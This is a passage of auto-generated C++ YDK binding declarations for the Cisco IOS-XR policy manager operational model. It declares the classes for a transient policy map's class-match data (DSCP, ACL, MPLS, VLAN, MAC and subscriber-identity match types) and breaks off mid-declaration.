PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop : public ydk::Entity { public: MatchInfop(); ~MatchInfop(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class ClassMatchInfoSt; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt ydk::YList class_match_info_st; }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt : public ydk::Entity { public: ClassMatchInfoSt(); ~ClassMatchInfoSt(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf flags; //type: uint32 class MatchData; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData> match_data; }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData : public ydk::Entity { public: MatchData(); ~MatchData(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf type; //type: MatchTypeEn ydk::YLeaf mpls_top_eos; //type: uint8 ydk::YLeaf fragment_type; //type: uint8 ydk::YLeaf authen_status; //type: MatchAuthenStatusEn ydk::YLeaf mlp_negotiated; //type: MatchMlpNegotiatedEn class Ipv4Dscp; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Ipv4Dscp class Ipv6Dscp; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Ipv6Dscp class Dscp; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Dscp class Ipv4Prec; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Ipv4Prec class Ipv6Prec; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Ipv6Prec class Prec; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Prec class DiscardClass; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::DiscardClass class QosGroup; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::QosGroup class TrafficClass; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::TrafficClass class Proto; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Proto class IcmpV4; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::IcmpV4 class IcmpV6; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::IcmpV6 class Ipv4PacketLen; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Ipv4PacketLen class Ipv6PacketLen; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Ipv6PacketLen class PacketLen; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::PacketLen class FlowTag; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::FlowTag class TcpFlag; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::TcpFlag class Icmpv4Type; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Icmpv4Type class Icmpv4Code; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Icmpv4Code class Icmpv6Type; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Icmpv6Type class Icmpv6Code; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Icmpv6Code class MplsExp; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::MplsExp class MplsExpImp; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::MplsExpImp class MplsDispIpv4Acl; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::MplsDispIpv4Acl class MplsDispIpv6Acl; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::MplsDispIpv6Acl class MplsTopLabel; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::MplsTopLabel class Cos; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Cos class CosInr; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::CosInr class Dei; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Dei class DeiInr; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::DeiInr class Vlan; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Vlan class VlanInr; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::VlanInr class FrDlci; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::FrDlci class SrcMac; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::SrcMac class DstMac; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::DstMac class AtmClp; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::AtmClp class FrDe; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::FrDe class Ipv4Acl; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Ipv4Acl class Ipv6Acl; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Ipv6Acl class EtherServiceAcl; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::EtherServiceAcl class AvailId; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::AvailId class MediaType; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::MediaType class SubsProtocol; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::SubsProtocol class Dnis; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Dnis class DnisRegex; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::DnisRegex class Domain; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Domain class DomainRegex; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::DomainRegex class NasPort; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::NasPort class ServiceName; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::ServiceName class ServiceNameRegex; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::ServiceNameRegex class SrcAddrIpv4; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::SrcAddrIpv4 class DstAddrIpv4; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::DstAddrIpv4 class SrcAddrIpv6; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::SrcAddrIpv6 class DstAddrIpv6; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::DstAddrIpv6 class SrcAddrMac; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::SrcAddrMac class Timer; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Timer class TimerRegexp; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::TimerRegexp class TunnelName; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::TunnelName class TunnelNameRegex; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::TunnelNameRegex class UserName; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::UserName class UserNameRegex; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::UserNameRegex class AuthUsername; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::AuthUsername class AuthUsernameRegex; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::AuthUsernameRegex class UnauthUsername; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::UnauthUsername class UnauthUsernameRegex; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::UnauthUsernameRegex class AuthDomain; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::AuthDomain class AuthDomainRegex; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::AuthDomainRegex class UnauthDomain; //type: 